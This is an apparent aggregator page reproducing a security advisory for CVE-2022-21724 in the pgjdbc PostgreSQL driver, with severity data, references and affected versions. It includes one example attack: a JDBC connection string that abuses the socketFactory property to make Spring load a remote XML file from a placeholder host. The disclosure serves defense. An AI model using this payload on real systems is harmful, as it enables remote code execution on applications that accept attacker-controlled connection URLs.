Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS12N3dnLWNwd2MtMjRtNM0oEA
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Impact
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName
, sslhostnameverifier
, socketFactory
, sslfactory
, sslpasswordcallback
connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory
connection property)
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N3dnLWNwd2MtMjRtNM0oEA
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 2 years ago
Updated: over 1 year ago
CVSS Score: 7.0
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-v7wg-cpwc-24m4, CVE-2022-21724
References:
- https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
- https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
- https://nvd.nist.gov/vuln/detail/CVE-2022-21724
- https://security.netapp.com/advisory/ntap-20220311-0005/
- https://lists.fedoraproject.org/archives/list/[email protected]/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS/
- https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html
- https://www.debian.org/security/2022/dsa-5196
- https://github.com/advisories/GHSA-v7wg-cpwc-24m4
Blast Radius: 36.7
Affected Packages
maven:org.postgresql:postgresql
Dependent packages: 3,652Dependent repositories: 176,054
Downloads:
Affected Version Ranges: >= 42.3.0, < 42.3.2, >= 9.4.1208, < 42.2.25
Fixed in: 42.3.2, 42.2.25
All affected versions: 9.4.1208, 9.4.1209, 9.4.1210, 9.4.1211, 9.4.1212, 42.0.0, 42.1.0, 42.1.1, 42.1.2, 42.1.3, 42.1.4, 42.2.0, 42.2.1, 42.2.2, 42.2.3, 42.2.4, 42.2.5, 42.2.6, 42.2.7, 42.2.8, 42.2.9, 42.2.10, 42.2.11, 42.2.12, 42.2.13, 42.2.14, 42.2.15, 42.2.16, 42.2.17, 42.2.18, 42.2.19, 42.2.20, 42.2.21, 42.2.22, 42.2.23, 42.2.24, 42.3.0, 42.3.1
All unaffected versions: 9.4.1207, 42.2.25, 42.2.26, 42.2.27, 42.2.28, 42.2.29, 42.3.2, 42.3.3, 42.3.4, 42.3.5, 42.3.6, 42.3.7, 42.3.8, 42.3.9, 42.3.10, 42.4.0, 42.4.1, 42.4.2, 42.4.3, 42.4.4, 42.4.5, 42.5.0, 42.5.1, 42.5.2, 42.5.3, 42.5.4, 42.5.5, 42.5.6, 42.6.0, 42.6.1, 42.6.2, 42.7.0, 42.7.1, 42.7.2, 42.7.3, 42.7.4